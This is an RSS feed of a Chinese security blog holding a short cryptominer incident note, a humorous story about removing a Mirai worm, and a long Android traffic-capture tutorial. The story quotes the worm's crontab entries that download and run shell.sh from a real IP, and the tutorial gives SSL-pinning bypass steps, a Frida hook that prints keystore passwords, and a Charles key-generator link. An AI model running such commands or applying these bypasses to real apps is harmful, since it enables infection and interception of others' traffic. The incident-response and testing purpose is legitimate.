lucky博客网 http://blog.luckyos.top/ zh-CN lucky博客网,专注学习、网络服务知识分享,让您网络安全的道路一路长虹! Sat, 28 Feb 2026 19:27:00 +0800 Sat, 28 Feb 2026 19:27:00 +0800 青龙面板0day木马的分析 http://blog.luckyos.top/index.php/archives/304/ http://blog.luckyos.top/index.php/archives/304/ Sat, 28 Feb 2026 19:27:00 +0800 lucky‭‭‭⁧博士⁧‭  这是别人服务器被黑经历,我在这里做一下简单分析

定位异常进程

top
htop
ps

top

1795937 root 20 0 2476464 2.3g 4 S 798.9 15.4 166:59.08 .fullgc

几个明显异常点:

进程名:.fullgc(隐藏文件名)

CPU 占用:接近 800%(多核跑满)

运行用户:root

常驻运行

基本可以判定:

这肯定不是正常程序占用
进一步确认该文件位置:

/ql/data/db/.fullgc
在完成本地排查并确认 .fullgc 进程行为异常后,为了进一步验证其性质,我将 /ql/data/db/.fullgc 文件上传至 微步在线(ThreatBook) 进行分析。

https://s.threatbook.com/report/file/a939048e4374176a6259a19da544423cdc838e532a978fbb2508fefea8e5c88a

排查

]]>
0 http://blog.luckyos.top/index.php/archives/304/#comments http://blog.luckyos.top/index.php/feed/archives/304/
重生之我在停车场排查蠕虫病毒 http://blog.luckyos.top/index.php/archives/301/ http://blog.luckyos.top/index.php/archives/301/ Tue, 13 Jan 2026 19:23:00 +0800 lucky‭‭‭⁧博士⁧‭  免责声明:文章搬运狗头信安,只是觉得有意思,没有恶意搬运,如有侵权,联系删除

0x01 重生之旅

那一天,我失去了一切。

原来人生真的是一场梦吗?所有的努力、挣扎与坚守,到头来只是服务器日志里一串即将被覆盖的数据。当Mirai蠕虫的触手以摧枯拉朽之势横向撕开内网,我看着监控面板上一台接一台失守的机器由绿转红,最终全军覆没。那一刻,我知道,我守护的世界沦陷了。

“没用的FW,明天不用来了。”

项目经理的声音冰冷地敲碎了最后一丝幻想
我生无可恋地瘫在床上,泪水无声地浸湿了眼角
如果……如果能再给我一次机会……意识,在悔恨的尽头逐渐朦胧
“大鸿!醒醒!上班别摸鱼了!”一个激灵,我猛地抬起头。经理正站在我工位前,脸上带着一丝……笑容?“快去趟现场,有个客户被通报了,说有台机器感染了病毒,你去看看怎么回事
”我愣住了,脱口而出:“经理,您昨天不是让我……找人事办离职吗?”“什么离职?睡糊涂了吧!”经理哭笑不得,“赶紧的,现场是个停车场,网络环境简单,就几台设备。”“停车场?”我下意识地反驳,“那点设备直接重装不就行了?”“你懂什么,人到现场代表我们的态度!要重视客户,知道吗?别废话了,快过去!”我一时语塞。经理的态度怎么一百八十度大转弯?昨天的雷霆之怒,难道只是一场噩梦?正当我恍惚时,隔壁工位传来同事的抱怨:“怎么又周末团建啊?
烦不烦,还非得去轰趴别墅,五六十号人挤一块,根本就是无效社交!”轰趴别墅?!这个词像一道闪电劈进我的脑海
这不是……上周才发生过的事情吗?我猛地看向电脑屏幕的右下角——

11月11日
我……回到了一周前?!

0x02 再次相遇

究竟发生了什么?
等我回过神来,冰凉的风正吹在脸上
我站在一个空旷的停车场门口,四周是略带锈蚀的栏杆和寥寥几辆蒙尘的汽车
“你就是鸿工吗?快进来!”一声叫喊把我从翻腾的思绪中猛地拽出
我循声望去,一个身材高大、长相酷似明星Van的帅气男子,正站在岗亭边焦急地朝我招手。那一瞬间,复杂的情绪涌上心头——激动、难以置信、还有一丝宿命般的寒意
我穿过马路,几乎是朝他飞奔过去。“你可算来了,鸿工!”他一把拉住我,语气里混杂着求助与抱怨,“快帮我们看看,这到底咋回事啊?我们就一个破停车场,怎么会中什么蠕虫病毒?平时鬼影都没几个,抬杆缴费全是自助的
就算真中了又能怎么样?这儿连个数据库都没有,难道偷走停车记录去卖钱吗?”我听出了他话里的潜台词:上面大惊小怪,给他找了麻烦
“蠕虫病毒的目的不一定是你这里的数据,”我一边跟着他往里走,一边解释,声音因为某种紧迫感而有些发干,“它们会像瘟疫一样自我复制,横向移动,把感染的机器变成‘肉鸡’——也就是被远程控制的傀儡。”“肉鸡?”他愣了一下,随即眼睛竟亮了起来,“这不挺好吗?肉质细嫩,好吃!”我有些无语地看了他一眼,没再接这个话茬。“我们先看现场吧。网络环境应该不复杂吧?都有些什么设备?”“简单得很!”他掰着手指数,“一台企业级路由器、一台联网的监控摄像头,还有这台缴费的自助终端机。就没了。”“确实简单。”我走到那台孤零零立着的自助机前,灰色的金属外壳在昏暗的光线下显得有些冰冷。“这台机器是什么系统?”“听说是那个……森头OS(CentOS)?
”“CentOS。”我纠正道,心跳没来由地快了一拍,“路由器和摄像头固件特殊,感染概率相对低。八成问题就出在这台有完整操作系统的终端上。我们先从它查起。”他转身钻进旁边的设备间,一阵翻找后,抱出一台落满灰尘的显示器,还有键盘鼠标。一阵手忙脚乱的接线后,自助机那略显陈旧的界面终于投射在屏幕上。
我深吸一口气,坐了下来。指尖敲击键盘,命令符在黑底窗口上闪烁,敲出:

netstat -tanpu

命令回车。一长串网络连接列表刷地铺满屏幕。我的目光快速扫描着本地端口与外部地址。突然,我的手指停住了。

列表之中,一个异常的远程IP赫然在列:

'94.154.35.153'
“94”开头的IP段。不像是大陆的IP地址。
一种冰冷的熟悉感,顺着脊椎爬了上来。我强行压下悸动,迅速将这个IP复制下来,粘贴到微步在线的威胁情报查询框里。敲下回车。

页面跳转。刺目的  红色警告界面  ,瞬间占满了整个屏幕。
mkci74i3.png

“果然是恶意IP……”我喃喃自语,滚动鼠标滚轮,目光急切地扫过那些关联的威胁标签、历史活动记录和家族信息。
下一秒,我的呼吸骤然停止。
瞳孔急剧收缩。
屏幕上,那个我化成灰都认得的名字,正无声地散发着狞笑般的幽光——
【Mirai蠕虫】
是他。

怎么……又是他。
Mirai 蠕虫病毒!!!

冰冷的汗水,瞬间浸湿了我的后背。那不是噩梦的残留,那是提前写好的 死亡通知 ,又一次,递到了我的面前。

0x03 恶斗与追寻

那天的回忆再次涌上心头——就是因为他,我被项目经理当众斥为fw;就是因为他,我失去了一切。

如今再度相遇,这难道是上天的安排?
安排我再一次被他凌辱……等等,不对。
如今我已穿越重生,这难道……是上天给我的机会?给我一次战胜他的机会?
上一世,我明明已经清除了恶意文件,连他的持久化计划任务也删得干干净净。
可为什么他能一次又一次复活?
我在键盘上敲入:

crontab -l

显示器上赫然显出:

@reboot for t in curl wget; do T=/tmp/.s$$;if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ]; then sh $T&; rm -f $T; break; fi; rm -f $T; done; /tmp/uraskid skidstart

——每次服务器重启,就会从 94.154.35.154 重新下载恶意脚本。

*/5 * * * * ps | grep uraskid | grep -v grep >/dev/null || (for t in curl wget; do T=/tmp/.s$$; if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ];then sh $T&; rm -f $T; break; fi;rm -f $T; done; /tmp/uraskid skidstart)

——每5分钟检查进程是否存在,没有就重新拉取,这是“看门狗”。

@hourly for t in curl wget; do T=/tmp/.s$$; if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ]; then sh $T&; rm -f $T; break; fi; rm -f $T; done; /tmp/uraskid skidstart

——每小时再来一次,三重保险。
这种招数,对我已经没用。
"crontab -r"——计划任务,一键清空。
再补两刀:'

rm -f /tmp/.s*
rm -f /tmp/uraskid*

执行文件、临时脚本,统统干掉。
再次 crontab -l,果然空空如也。
……
上一世,我就是走到这里,以为自己赢了。
可没想到,这个该死的 Mirai 变种就像有无限复活币——我杀一次,它活一次。
究竟为什么……等等——难道……他用了那一招?
不可能啊,一个蠕虫病毒,怎么会这种手段?我迅速敲入:

cd /etc/init.d/
ls

一个文件名跳进眼里:uraskid它不该出现在这里。

cat /etc/init.d/uraskid

mkcicd6c.png

果然——他把自己做成了服务启动项。
只要系统重启,这个脚本就会自动执行,重新部署一切。我冷笑一声,敲出"rm -f /etc/init.d/uraskid"重启服务器。
持续监测十分钟,再没有外连那个 IP。——这一次,我终于赢了。
哈哈哈哈哈......我再也不是他们口中的……那个fw了。

0x04 消逝

"握载液补时仁闷抠种の拿鸽five了!
"叽里咕噜说啥呢?上班时间睡觉,怪不得你是个fw呢!扣200,赶紧去HR那儿办离职手续,明天回家睡个够吧!

“经、经理……什么手续啊?”“什么手续?你还好意思问!昨天公司的脸全都被你丢完了!一个破蠕虫病毒都处置不了,赶紧走人!
”我瞪大双眼,目光落在桌上那盒吃了一半的拼好饭。
这一瞬间——我似乎明白了。

]]>
0 http://blog.luckyos.top/index.php/archives/301/#comments http://blog.luckyos.top/index.php/feed/archives/301/
抓包教程 http://blog.luckyos.top/index.php/archives/182/ http://blog.luckyos.top/index.php/archives/182/ Mon, 15 Dec 2025 18:50:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="抓包教程"/}

抓包的作用是用来封包和截取网络流量包的特殊请求

** 抓包教程 Hook | SSL Pinning |Frida
前言
1
使用 Burpsuite 对 APP 进行抓包
环境:
2

  • 使用 Fiddler 对 APP 进行抓包**
    环境:

3
使用 Burpsuite + Fiddler 进行对 APP 进行抓包**
4 、使用小黄鸟 HttpCanary 对 APP 进行抓包**
环境:
下面是 HttpCanary 的工作原理
5 、使用 Charles 对 APP 进行抓包**
环境:
代理服务器的工作原理如下所示:
Charles 下载地址:
注册码生成地址:
激活 Charles
**HTTPS 解析
6 、使用 Charles + Burpsuite 进行对 APP 进行抓包
7 、使用 Postern + Charles + Burpsuite 进行对 APP 进行抓包**
环境:
先配置 Charles
**Charles 和 Fiddler 的比较
8 、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包
**SSL 证书绑定
单向校验
使用 Xposed + JustTruestMe 来突破 SSL Pinning**
环境:
**双向校验
9 、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包
环境:
总结
参考资料

前言

每当遇到一些 APP 渗透测试项目的时候,抓不了包的问题令人有点难受,但是抓不了包并不能代表目标

系统很安全,那么接下来我会整理一下目前我所了解到的一些抓包方法

1. Burpsuite
2 、Fiddler
3 、Burpsuite + Fiddler
4 、小黄鸟 HttpCanary
5 、Charles
6 、Charles + Burpsuite
7 、Postern + Charles + Burpsuite
8 、Frida + Xposed + Objection + Burpsuite
9 、Frida 写 Hook 代码来抓包

以下抓包测试请确保手机和电脑是处于同一个局域网下

1 使用 Burpsuite 对 APP 进行抓包

环境:

Burpsuite Professional v2021.
Pixel3 Android11 、已 root + Xposed

在 Burpsuite 里面 Proxy — Options — Proxy Listeners — Add
然后在Speciffic address选择 172 网段的那个 IP 地址(即本机局域网 IP 地址)
mj71bu0y.png

在手机里面网络设置也要设置 手动代理模式 ,输入的 IP和端口 都要与 Burpsuite 一样
mj71c3sz.png

然后在手机浏览器访问 https://burp 这个地址,去进行下载并安装 burp 证书,因为抓取 HTTPS 流量是
需要证书的,点击 CA Certificate 即可进行下载
mj71cagp.png

下载之后要对证书文件后缀名进行更改,因为手机是无法打开 .der 后缀的文件,所以要吧 .der 改为
.cer ,然后再进行安装证书
mj71cmsw.png

那么安装之后就可以进行抓取 APP 数据包了

mj71csa9.png

2、使用 Fiddler 对 APP 进行抓包

环境:

Fiddler v5.0.20204.
Pixel3 Android11 、已 root + Xposed

1 、在 Fiddler 里面 Tools — Options
mj71d281.png

2 、在 options 弹框中切换至 HTTPS ,勾选图中标记的 2 个选项并点击 OK
mj71d6rt.png

3 、勾选后会弹出安装证书的提示,根据提示一直点击 是 即可安装成功

4 、接着在Tools — Options — Connections,端口写 9999 (可随意更改),并勾选 Allow remote
computers to connect ,点击 OK
mj71ddc9.png

5 、重启 Fiddler ( 修改fiddler配置要重启后才能生效 )
6 、修改手机网络设置
mj71dj3s.png

7 、在浏览器访问上面设置的 IP 地址和端口号,我这里是 172.20.10.5:9999(这里要根据实际情况),

mj71doe9.png

然后 FiddlerRoot certificate 进行下载证书,并自行安装

那么安装之后就可以进行抓取 APP 数据包了

mj71dta9.png

3、使用 Burpsuite + Fiddler 进行对 APP 进行抓包

配置 Burpsuite 使用的代理监听是 127.0.0.1:
mj71dz9s.png

在 Fiddler 里面 Tools — Options — Gateway 配置的代理监听是 127.0.0.1:8080(这里的配置与
Burpsuite 代理一致)
mj71e5w8.png

接着在 Tools — Options — Connections ,端口写 9999 (可随意更改),并勾选 Allow remote
computers to connect ,点击 OK
mj71ecso.png

修改手机网络设置

mj71eiv4.png

也就是说从手机的流量经过 Fiddler 进行转发到Burpsuite
mj71eo1s.png

4、使用小黄鸟 HttpCanary 对 APP 进行抓包

环境:

HttpCanary v3.3.
Pixel3 Android11 、已 root + Xposed

首先安装 HttpCanary APP 应用
mj71f0dt.png

mj71f7fd.png

mj71fd16.png

HttpCanary 支持 HTTP/HTTPS/HTTP2 网络数据包的抓取和分析,其实和 Charles 类似,要抓取 HTTPS
需要使用 MITM 中间技术对 TLS/SSL 数据包进行解密以及明文输出,因此需要安装自签的 CA 证书
mj71fgso.png

mj71fl4a.png

这里要提一下 Android 系统默认对证书信任证书的问题

因为我的 Pixel3 手机是已经 root 了,而且是 Android11 系统,在安卓 7.0 之前系统,直接下载证书装
入即可,安卓 7.0 及以上系统对于证书的安全策略做了修改,意味着,从 sdcard 安装用户级 CA 将无法
拦截应用流量。我们需要将证书命名为计算出的哈希值后缀 .0 或者直接在手机里面的 用户凭据 可以看
到后缀 .0的证书文件 名字,然后导入到根证书目录:/system/etc/security/cacerts 让系统默认可信
任。因此安装证书的方式也有所不同,默认它是安装在用户那里的。

mj71fwdr.png

首先按照我下面的图顺序进行安装证书

mj71g6d5.png

mj71g9c8.png

mj71gdzl.png
mj71gh9s.png

先导出 HttpCanary根 证书文件 .pem
mj71gm2x.png
mj71gt3d.png

点击它,即可完成安装证书

mj71gwyx.png
mj71h1jk.png

那么这里就看到它是安装在用户那里的,但是由于我的设备是已经 root 了,要把这个证书安装在 系统
那里才能进行抓取 HTTPS 流量
mj71h6oo.png

那么这时就需要把证书的文件移动到系统目录下就可以了,这里选择导出 System Trusted(.0)
mj71hha9.png

mj71hlbl.png

那么就把证书进行移动到系统证书目录 /etc/security/cacerts/

mj71hpa0.png

mj71hvew.png

在 Android 10 以及以上安装证书到 /system/etc/security/cacerts/会出现 system 无法写入使用 mount
报错如下:

'/system' not in /proc/mounts
'/dev/block/dm-4' is read-only

由于 Android 10 采用了某些安全策略,将系统分区 /system挂载为只读,就算你 root 了也没用,无法
写入系统分区也就无法导入系统证书,在使用 HTTPCanary 这样的软件抓包分析的时候,很多 app 只认
系统证书,不认用户证书

遇见此类情况有两种方式解决:

1 、在 Magisk 里面安装 Move Certificates模块,该插件可以一键将所有用户证书自动转换为系统区证

https://github.com/Magisk-Modules-Repo/movecert

使用方法:所有证书安装为用户证书后,安装此插件,并重启。

mj71i5xd.png
mj71i915.png

2 、创建一个新的挂载点来覆盖 这种方式是内存覆盖的方式所以手机重启后失效。(想要持久化需考虑

搞一个开机启动服务)

再进来这个看证书的界面就已经看到已经把 用户 的证书安装在 系统 那里了

mj71imfk.png
mj71ir7t.png
mj71j0v3.png


# 创建一个临时目录,保存当前证书
mkdir /sdcard/tmp/
# 复制现有证书到临时目录
cp /system/etc/security/cacerts/* /sdcard/tmp/
# 创建内存挂载
mount -t tmpfs tmpfs /system/etc/security/cacerts
# 将现有证书复制回 tmpfs 挂载
mv /sdcard/tmp/* /system/etc/security/cacerts/
# 更新 perms 和 selinux
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*

虽然 HttpCanary 是一个很不错的抓包工具,但是它并不能跟其他抓包工具进行一个联动转发抓包,所
以当渗透测试人员在使用它进行抓包之后,可以直接在手机上进行修改数据包进行测试,但是可能在手
机上工作效率没那么高,于是就把要测试的数据包复制出来到 Burpsuite 上进行修改并发包,这个过程
也会浪费很多时间。

下面是 HttpCanary 的工作原理

HttpCanary 采用 VPN 的方式将网络包转发给本地代理服务器,本地代理服务器将数据包转发虚拟网
关,由虚拟网关进行不同策略地拦截和协议解析,最后再将数据发送给终端

mj71je0w.png

最重要的一层就是虚拟网关 Virtual Gateway ,需要对协议进行鉴定解析等等,包括数据包的拦截注入
都是在这一层处理的,比如 HTTPS 的中间人(MITM)解析出明文包等

因此从上图观察它的工作原理进行分析之后,让我寻找到另一种方式抓包(它的工作方式也和
HttpCanary 有点相似 )可以用它来代替 HttpCanary —— Postern + Charles + Burpsuite组合,至于
怎样操作,可以在文章下面 7 、使用Postern + Charles + Burpsuite进行对APP进行抓包 进行详细阅读
mj71jlns.png

5、使用 Charles 对 APP 进行抓包

环境:

Charles v4.6.2
Pixel3 Android11 、已 root + Xposed

charles 是一款非常优秀的抓包工具,全平台支持,在 mac,windows,linux 上都可以使用,既可以抓
取 web 端的包,也可以抓 app 端的包
charles 主要的功能包括如下几点:

截取 Http 和 Https 网络封包。

支持重发网络请求,方便后端调试。

支持修改网络请求参数。

支持网络请求的截获并动态修改。

支持模拟慢速网络。

代理服务器的工作原理如下所示:

mj71jsjl.png

客户端发起请求,请求通过 charles 转发给服务器,服务器返回响应,响应通过 charles 转发给客户
端。

charles 所起的作用就相当于信使,把信息从 A 传递给 B,并且把回信从 B 传递给 A,正因为他这个信
使的工作,所以他对信息的内容了如指掌(不管是原信还是回信),正因为如此,charles 也就可以篡改信
息的内容,即篡改请求和响应。

Charles 下载地址:

https://www.charlesproxy.com/download/
mj71jwpd.png

然后自行安装之后,要对它进行激活

注册码生成地址:

https://www.zzzmode.com/mytools/charles/
mj71k1kh.png

激活 Charles

mj71k62w.png

在 Help->Registered 输入 key 和生成的激活码即可
mj71kad4.png

设置代理,在 Proxy — Proxy Settings ( 注意:此时我的Windows Proxy是去掉对勾的,因为这里我是
想在PC端抓手机端的包,所以没必要打开电脑的本地代理 )
mj71kfih.png

填入代理端口 8888 (或者自定义,但不能和系统已占用端口冲突),并且勾上 Support HTTP/2 和
Enable transparent HTTP proxying ,点击右下角 OK 即可
mj71kkmx.png

然后分别在 PC 端和手机端安装证书

选择 Help — SSL Proxying — Install Charles Root Certificate 就可以下载安装上 PC 端了
mj71kqgi.png

mj71kuko.png

证书存储选择 受信任的根证书颁发机构

mj71l0f4.png

接下来再给手机端安装证书,步骤如下:

选择 Help — SSL Proxying — Install Charles Root Certificate on a Mobile Device or Remote
Browser

mj71l5rd.png

点击后会弹出窗口提示设置的方法,按照提示在手机端将代理设置为电脑的 ip:8888( 我这里是
192.168.1.251:8888 ),这里要先确保手机和电脑连接同一个无线网络 。然后在手机的浏览器打开 htt
p://chls.pro/ssl ,按提示下载证书即可。

mj71lbfk.png
mj71lf9k.png

如果 Charles 有弹出提示,一定要点击 Allow
mj71lkup.png

首先按照我下面的图顺序进行安装证书

mj71lo9c.png

mj71ls7d.png

mj71lvtd.png

mj71m0xc.png

mj71m48w.png

找到选择刚刚下载的证书文件,点击即可完成安装

mj71m8ft.png

它也是安装在 用户 那里,但是由于我的设备是已经 root 了,要把这个证书安装在 系统 那里才能进行抓
取 HTTPS 流量
mj71mdeg.png

但是移动证书的前提要知道证书安装之后的证书文件是被命名为什么,于是可以在 用户凭据 这里可以看

mj71mhv2.png

文件为 b905ae73.0 ,它目前是在用户目录下 /data/misc/user/0/cacerts-added/

mj71mmjk.png

mj71mrex.png

然后把它复制到 /etc/security/cacerts/ 系统目录下

mj71mvch.png
mj71mzeh.png
mj71n2ts.png

HTTPS 解析

然后在 Proxy — SSL Proxying Settings 进行 SSL Proxying Settings 设置
勾选 enable SSL Proxying 复选框代表开启 SSL Proxying 代理,并在 include 栏中添加域名和端口号。
include 中的列表项代表 Charles 能够展示这些域名的 SSL 请求和响应的明文。

并且说明中也提示了我们 Charles 要想使用 SSL Proxying 代理,需要进行 SSL Certificates,即证书签
名。这个我们在上面已经完成了。
mj71nai8.png

Stop SSL Proxying 按钮可以控制 SSL 代理的开关。(必须要开启SSL Proxying)
mj71nmy0.png

到此,PC 端的设置都已经配置好了,然后就能进行抓包了

mj71nsbd.png

6、使用 Charles + Burpsuite 进行对 APP 进行抓包

选择勾选 Proxy — External Proxy Settings 就是要将 Charles 作为手机端的代理,再由 Charles 将包转
发给 burpsuite,所以对于 Charles 来说,burpsuite 就成了一个 External Proxy Server —— 外部代理
服务器

勾选 HTTP 和 HTTPS 代理,这里 HTTP 和 HTTPS 的代理服务器地址都是 127.0.0.1:8080(这里的配置

mj71o22o.png

与 Burpsuite 代理一致)
mj71o6jc.png

已经设置了外部代理了,就必须打开 burp(当然了主要是要打开 burp 中对 127.0.0.1:8080 的监听),
否则就会出现 连不上网了 的现象。在 burp 的菜单栏中的 Proxy 选项下的 Options 中打开
127.0.0.1:8080 的代理监听(默认应该是已经打开的),在 Intercept 中关闭请求拦截。
mj71oe3s.png

完成上面的配置步骤后,从手机上打开浏览器搜索内容,应该已经可以在 Charles 窗口左侧的列表中找
到想抓的包,并且也可以看到数据包从 Charles 转发到 Burpsuite 了

mj71ohgh.png

7**、使用 Postern + Charles + Burpsuite 进行对 APP

进行抓包**

在实际抓手机 App 包场景中,有很多种方案,经典的就是 Fiddler 、 Burpsuite ,但是 Fiddler 、
Burpsuite 会遇到一个问题,如果 App 为了防止中间人抓包,特意设置了不走代理这个选项,那单独直
接用 Fiddler 、 Burpsuite 这些抓包工具就不能抓包的,那总不可能说不能抓包就认为目标系统很安全
吧?为了抓到完整的包,于是就衍生出 Postern + Charles 这个组合,是因为 Charles 没有直接监听到
App,Charles 是监听到了 Postern 上,Postern 就是一个VPN ,所以 App 设置不走代理也没用,它是
通过 VPN 将所有流量转发到 Charles 的 socks 代理,再打开 Charles 的 External Proxy Server — (外
部代理服务器)转发到 Burpsuite,从而实施中间人抓包

环境:

Postern 3.1.3
Charles v4.6.2
Burpsuite Professional v2021.2
Pixel3 Android11 、已 root + Xposed

先配置 Charles

在 Proxy — Proxy Settings ,勾选 Enable SOCKS proxy 进行设置 SOCKS 代理(按照下图的操作),
端口号我这里设置 16666 (或者自定义,但不能和系统已占用端口冲突)
mj71owh5.png

配置代理

mj71p0c0.png

添加代理服务器

mj71p4t4.png

mj71p860.png

mj71pb8x.png

点击保存

配置规则

mj71pfpk.png

添加规则

mj71pk55.png

按照下图进行操作并点击保存

mj71pqwo.png

mj71pxj5.png

打开/关闭 Postern
mj71q3e0.png

那么只要上面的 使用Charles + Burpsuite进行对APP进行抓包 设置好之后,打开你想要抓的目标 APP
就可以看到数据包已经转发到 Burpsuite 了

mj71qaqo.png

但是如果遇到某些比较敏感的 APP,检测 root 的话,可以参考下面的两篇文章进行设置

隐藏 Root – Zygisk 版面具 Magisk 过银行 App 等 Root 检测,Shamiko 模块的妙用
magisk 安装与配置

Charles 和 Fiddler 的比较

Fiddler 虽然也可以完成对手机的抓包,但是如果 App 设置了不走代理,那 Fiddler 就失败了,并且
Fiddler 每次都需要手动修改网络设置的代理,但是 Charles 与 Postern 联动配合就不需要手动修改网
络设置,只需要配置好 Postern 和 Charles 的连接就可以了,并且可以对绝大部分的 App 进行抓包,不
使用代理时,直接关闭 Postern 即可

目前来说,Fiddler 和 Charles 都是很流行的,但是相对来说,还是 Postern + Charles 适用范围更广一
些。

8**、使用 Frida + Xposed + Objection + Burpsuite 进

行对 APP 进行抓包**

SSL 证书绑定

什么是证书绑定呢?其实网上叫法蛮多的,SSL 证书绑定、英文名字:SSL Pinning 或者证书检验。总之
无论怎么叫都是检验证书是否可信任。我们知道从 HTTP 到 HTTPS 数据在传输过程中添加了一层
SSL/TLS,让我们数据流量处于加密状态,不再是明文可见。这时候便有了 CA 证书。
mj71qou8.png

我们在抓取 HTTPS 数据包得时候,做的就是利用假的 CA 证书,来实现中间人劫持数据。一旦 app 校验
了证书的指纹信息。我们的证书不再受信任了。自然而然就无法建立连接,所以必须想办法让 app 信
任,才能继续抓包。当然这个分为两种情况:

( 1 )单项校验-客户端校验服务端的证书。

( 2 )双向认证-客户端不仅仅要校验服务端的证书,也会在 app 内放一张证书;服务端也会检验客户端
里的证书。

单向校验

Android 系统中已经提供了检验证书的 api,我们只需要实现 checkClientTrusted 、
checkServerTrusted 、 verify 等方法即可。
mj71qvj4.png

这类的对抗需要我们将这些函数的校验进行置空,默认信任所有证书即可。

使用 Xposed + JustTruestMe 来突破 SSL Pinning

Xposed 是一个框架,它可以改变系统和应用程序的行为,而不接触任何 APK。它支持很多模块,每个
模块可以用来帮助实现不同的功能。
JustTrustMe 是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。JustTrustMe 是将 APK 中所有
用于校验 SSL 证书的 API 都进行了 Hook,从而绕过证书检查。

环境:

Pixel3 Android11 、已 root + Xposed

SSLUnpinning 2.0 插件

JustMePlush 插件

Frida-server-15.1.27-android-arm64

PC 端的 Frida v15.1.27

Objection v1.11.0

首先下载 Xposed 框架插件 SSLUnpinning + JustTrustMe , SSLUnpinning 插件可以直接在 Xposed 商
店下载,而 JustTrustMe 插件需要到下面的 GitHub 链接自行下载

mj71r660.png

我这里就使用 SSLUnpinning 2.0 插件和 JustMePlush 插件,效果都是一样的,插件安装完之后,记得
启动插件,然后 重启手机 后插件才能生效
mj71re68.png

然后使用 Objection 进行绕过

Objection 是一款基于 frida 的 hook 框架,由于 frida 需要我们自己编写脚本,使用比较麻烦,
objection 内置了在安卓和 IOS 逆向中常用的一些 hook 脚本,我们通过简单的命令行就可以进行 hook
动态篡改,非常方便

因为 Objection 是基于 Frida 的所以必须先安装 Frida 然后才能安装 Objection
mj71rri1.png

pip3 install objection

按照上面的操作进行部署 Frida 环境之后,就启动 Frida服务端程序
mj71snjc.png

接着用 Objection 注入到目标 APP 应用程序上

如果不知道 APP 包名,可以用以下命令进行查看,但是依然前提要启动了 Frida服务端程序
mj71sydc.png

pip3 install objection
objection -g 包名 explore

然后输入关闭 APP 的 SSL 校验命令

并在手机里面网络设置也要设置手动代理模式,输入的 IP 和端口都要与 Burpsuite 一样

frida-ps -Ua
android sslpinning disable

mj71t780.png

即可完成绕过 SSL Pinning 进行抓包

如果出现还是依然无法绕过 SSL Pinning 的情况,可以参考下面两篇文章
mj71tcwg.png
mj71tga0.png

Android 抓包总结
Frida.Android.Practice (ssl unpinning)

双向校验

APP 除了校验服务端的证书,服务端还会检验 APP 的证书。HTTPS 双向证书校验在实际中几乎很少用

到,因为服务器端需要维护所有客户端的证书,这

无疑增加了很多消耗,因此大部分厂商选择使用单向证书绑定。 对抗双向认证需要完成两个环节:

( 1 )让客户端认为 burp 是服务端 ,这一步其实就是破解 SSL pinning,方法和上述过程完全相同。

( 2 )让服务端认为 burp 是客户端 ,这一步需要导入客户端的证书到 burp,客户端的证书一定会存在
本地代码中,而且还可能会有密码,这种情况下需要逆向客户端 app,找到证书和密码,并转为 pkcs12
格式导入到 burp。User options -> SSL -> Client SSL Certificate。

双向校验的app 案例:
https://www.wandoujia.com/apps/8280413

通常情况下应用会将证书放置在资源目录 app/asset下,后缀名为 p12 、 pfx的文件。当然也可能会伪
装成其他文件,例如图片文件等。
mj71tx1c.png

怎么找到证书密码呢?一般要么逆向分析找到密码,要么通过 hook api java.security.KeyStore 使密码
自吐。

( 1 )Jadx 中搜索证书的名字、或者证书链 x509certificate 分析定位到关键位置。
mj71u1eo.png

( 2 )服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取 session 和
私钥解密过程中,需要 API 进行操作,API 存在于 java 层框架内,所以 hook 框架层代码
java.security.KeyStore,使密码自吐。
mj71u91d.png

这里下图的案例 APK 解压之后在 assets 目录下有一个 client.p12 的证书文件,但是不知道它的密码,
因此要使用 Frida 对目标 APP 进行 hook,让它密码自吐。

❗ ❗ ❗ 注意:.p12后缀的证书文件是由 .crt证书和 key 文件合并成.p12证书文件,并且在合并生成
.p12 文件的时候必须对证书进行加密(也就是加个证书密码),不加密码 Burpsuite 是无法导入的
mj71uhf4.png

脚本可以在大佬博客这里复制,并命名为 ssl.js(可自定义) 抓包之服务器校验客户端证书

执行下面的命令

function hook_KeyStore_load() {
Java.perform(function () {
var StringClass = Java.use("java.lang.String");
var KeyStore = Java.use("java.security.KeyStore");
KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementat
ion = function (arg0) {
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan
g.Throwable").$new()));
console.log("KeyStore.load1:", arg0);
this.load(arg0);
};
KeyStore.load.overload('java.io.InputStream', '[C').implementation =
function (arg0, arg1) {
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan
g.Throwable").$new()));
console.log("KeyStore.load2:", arg0, arg1? StringClass.$new(arg1) :
null);
this.load(arg0, arg1);
};
console.log("hook_KeyStore_load...");
});
}
setImmediate(hook_KeyStore_load)
frida -U -f APP 包名 -l ssl.js –no-pause

可以发现我们通过 hook 框架层代码得到了 client.p12证书密码为 111111 ,然后在 Burpsuite 里面选择
User options — TLS — Client TLS Certificates — Add 进行导入证书,Destination host写*进行匹配所
有地址,证书类型选择File(PKCS#12),然后选择Next
mj71utug.png

加载 assets 目录下的 client.p12 证书文件,和输入上面 hook 出的密码 111111
mj71uybd.png

mj71v1sg.png
mj71v64x.png

导入证书之后,就可以正常的抓包了,可以看下面的图,下面的 403 是没导入证书的时候,它就不允许

mj71vb5l.png

你抓包访问,上面的 200 是我导入证书之后,就可以正常抓包了

还有就是在某些特殊场景 web页面 或者 APP 需要在 PC 电脑端安装证书才能进行访问抓包的,那么就要
根据实际情况去操作

9、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包

环境:

夜神模拟器 32 位 Android7.1.2 已 root

Frida-server-15.1.27-android-x86

PC 端的 Frida v15.1.27

Objection v1.11.0

使用 Charles 抓不到包怎么办呢,我们有 Frida,可以通过 frida 来 hook 住 APP 构造网络请求和接收数
据地方的代码,然后打印出来请求和返回数据,这样 APP 向服务器进行的网络请求和接收的数据便一览
无余了。

